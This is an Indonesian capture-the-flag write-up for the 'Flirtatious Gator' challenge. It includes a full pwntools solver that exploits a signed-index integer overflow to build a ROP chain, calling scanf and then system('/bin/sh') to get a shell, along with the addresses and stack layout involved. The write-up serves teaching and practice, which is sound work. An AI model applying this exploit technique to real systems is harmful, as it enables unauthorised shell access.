Flirtatious Gator (300 Points)
Masalah
Diberikan binary arr
yang harus dieksploitasi agar mendapatkan akses shell
pada server.
Penyelesaian
Binary ini memiliki kelemahan:
- Integer Overflow
- ROP Chain
- Shell
Eksploitasinya dapat dilakukan dengan script solver.py
dibawah ini:
from pwn import *
context.log_level = 'debug'
r = remote('localhost', 229)
r.recvuntil('you? \n')
r.sendline('see') # name
r.recvuntil('index\n')
r.sendline(str(-2147483648 + 13))
r.recvuntil('value\n')
r.sendline(str(int('08048460',16)))
r.recvuntil('index\n')
r.sendline(str(-2147483648 + 14))
r.recvuntil('value\n')
r.sendline(str(int('080487ba',16)))
r.recvuntil('index\n')
r.sendline(str(-2147483648 + 15))
r.recvuntil('value\n')
r.sendline(str(int('0804882f',16)))
r.recvuntil('index\n')
r.sendline(str(-2147483648 + 16))
r.recvuntil('value\n')
r.sendline(str(int('08049b24',16)))
r.recvuntil('index\n')
r.sendline(str(-2147483648 + 17))
r.recvuntil('value\n')
r.sendline(str(int('08048430',16)))
r.recvuntil('index\n')
r.sendline(str(-2147483648 + 19))
r.recvuntil('value\n')
r.sendline(str(int('08049b24',16)))
r.recvuntil('index\n')
r.sendline('-1')
r.recvuntil('value\n')
r.sendline('10') # since we are done, we can make counter 10
r.recvuntil('0 0 0 0 0 0 0 0 0 0 ')
r.sendline('/bin/sh') # this is due to scanf that we put to stack
r.interactive()
Untuk ujicoba bisa jalankan binary secara lokal.
socat TCP-LISTEN:229,reuseaddr,fork EXEC:./arr
Penjelasan
Pada saat binary meminta input dalam variabel name
dengan menggunakan scanf("%9s",&name);
, binary tersebut akan membuat array dengan 10 integer, dan mengatur nilainya menjadi 0 dan meminta index
dan value
10 kali, kemudian binary akan mencetak nilai seluruh elemen array tersebut.
Jika Anda memasukan nilai yang lebih dari atau sama dengan 10, maka binary akan memanggil fungsi exit
. Meskipun begitu, binary tidak memeriksa apakah nilai tersebut positif atau negatif. Misal, jika Anda memasukan nilai -1 pada index
dan -10 pada value
, Anda dapat membuat counter
-10 dan memasukan 20 nilai termasuk nilai 10. Hal tersebut juga terjadi jika Anda memasukan nilai -2147483648 + x
sebagai indeks yang lebih kecil dibanding 10, namun hal tersebut akan mengakses arr[x]
yang mengakibatkan integer overflow. Dengan menggunakan kelemahan tersebut, Anda dapat merubah nilai apapun pada stack.
Bagaimanapun, sejak Anda tidak mengetahui alamat stack, Anda tida bisa menulis shellcode dan mengembalikannya. Namun Anda bisa melihat lebih dalam penggunaan fungsi system
dengan menggunakan IDA Pro. Anda bisa menggunakannya untuk memanggil /bin/sh
. Oleh karena itu, Anda butuh pointer ke /bin/sh
, sehingga Anda harus meletakkannya pada stack agar dapat diraih. Anda bisa melakukannya dengan mengirimkan alamat pada section .data
ke fungsi scanf("%9s")
.
Address of .data is `0x08049b24` (we can find it using `readelf -S arr`)
Address of "%9s" is `0x0804882f` (we can find it using IDA or any other disassembler)
Address of scanf is `0x08048460` (also we can find it using any disassembler)
Address of system is `0x08048430` (also we can find it using any disassembler)
Anda akan mengubah return address
ke fungsi scanf
dan diberi parameter menggunakan stack
. Jika sudah Anda bisa memanggilnya dengan fungsi system
. Selain itu, Anda juga butuh ROP chain
pop,pop,ret
untuk argumen pada fungsi scanf
.
Address of pop,pop,ret is `0x080487ba`
Sekarang Anda bisa membentuk payload dalam stack.
| scanf address(0x08048460) | ret address(0x080487ba)(pop pop ret) | address of %9s(0x0804882f) | write address(0x08049b24)(.data) |
| system address(0x08048430) | anything(return address after system) | 0x08049b24(.data) |
Offset pertama yang dikembalikan bernilai 13 arr[13]
.
Referensi